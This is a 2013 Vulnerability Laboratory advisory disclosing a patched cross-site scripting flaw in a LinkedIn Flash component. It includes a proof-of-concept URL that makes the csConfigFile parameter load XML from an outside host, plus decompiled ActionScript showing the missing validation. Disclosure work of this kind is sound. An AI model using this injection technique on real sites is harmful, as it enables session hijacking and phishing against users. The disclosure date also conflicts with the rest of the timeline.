Document Title:
===============
Linkedin Social Network - CS Flash Cross Site Vulnerability 


Date:
=====
2013-09-19


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1021



VL-ID:
=====
1021


Common Vulnerability Scoring System:
====================================
2.1


Introduction:
=============
LinkedIn takes your professional network online, giving you access to people, jobs and opportunities like never before. 
Built upon trusted connections and relationships, LinkedIn has established the world’s largest and most powerful 
professional network. Currently, more than 225 million professionals are on LinkedIn, including executives from all five 
hundred of the Fortune 500 companies, as well as a wide range of household names in technology, financial services, media, 
consumer packaged goods, entertainment, and numerous other industries. The company is publicly held and has a diversified 
business model with revenues coming from user subscriptions, advertising sales and hiring solutions. Online Professional Network, 
Jobs, People Search, Company Search, Address Book, Advertising, Professional Identity, Group Collaboration

(Copy of the vendor Homepage: https://www.linkedin.com)


Abstract:
=========
The Vulnerability Research Team has discovered a remote client side bug in a flash component on Linkedin Social Network.


Report-Timeline:
================
2013-07-17:	Researcher Notification & Coordination (Ateeq Khan)
2013-07-18:	Vendor Notification (Linkedin - Security Team)
2013-07-19:	Vendor Response/Feedback (Linkedin Security Team)
2013-09-15:	Vendor Fix/Patch (Linkedin Developer Team)
2012-09-20:	Public Disclosure (Vulnerability Laboratory)



Status:
========
Published


Affected Products:
==================
Linkedin
Product: Social Network Application v2013 Q2


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A vulnerability laboratory researcher has discovered a flaw inside this particular flash component currently active and 
running on download.linkedin.com website. The affected component lets a remote attacker include xml files from external 
websites resulting in successful HTML Injection & XSS attacks. IT allows remote attacker to execute malicious 
non-persistent script on client side.

The vulnerability is located in the flash group tour controller module. To execute properly, it requires an xml config 
file to load from the local server however the parameter `csConfigFile=` can be manipulated using the GET method to include 
remote malicious .xml files of attackers choice. The client-side script code will be executed in the flash web application 
layout as frame. During investigation it has been revealed that a remote attacker can manipulate both entry points and to inject 
his own html and java-script. The bug was tested on all browsers including Latest Google Chrome, Firefox & Internet Explorer.

Exploitation of the vulnerability requires no privilege application user account but low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, malware injects, external 
client side redirects and manipulation of affected module- or application context.


Vulnerable Module(s):
				[+] Corporate Product Groups

Vulnerable File(s):
				[+] groups_tour_controller.swf

Vulnerable Parameter(s):
				[+] csConfigFile

Location:
                                [+] /corporate/product/groups/groups_tour_controller.swf?csConfigFile=


Proof of Concept:
=================
The vulnerability can be exploited by a remote attacker without any authentication and low or medium required user interaction. 
For demonstration or reproduce ...


PoC:
http://download.linkedin.com/corporate/product/groups/groups_tour_controller.swf?csConfigFile=http://www.nybbletech.com/clients/flashjs/test.xml


Review: Flash Components

// Action0
    {
        loadConfigFile = function () {
            ConfigData = new XML();
            ConfigData.onLoad = configFileLoaded;
            ConfigData.ignoreWhite = True;
            if ( ( _root.csConfigFile == Undefined ) ) {
                _root.csConfigFile = "config.xml";
                
            }
            var __callResult_34 = ConfigData.load(_root.csConfigFile); <--- Validation is not being performed before loading the config file


Solution:
=========
The vulnerability can be patched by doing a source code review of the affected .swf file and perform parsing of the 
csConfigFile GET parameter request mitigate any further risks assiciated with this vulnerability. Also, only trusted 
domains should be allowed to host config files, all other external domain requests should be blocked by default.



Risk:
=====
The security risk of the client site cross site web vulnerability is estimated as low(+)|(-)medium.


Credits:
========
Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       - admin@evolution-sec.com
Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2013 | Vulnerability Laboratory [Evolution Security]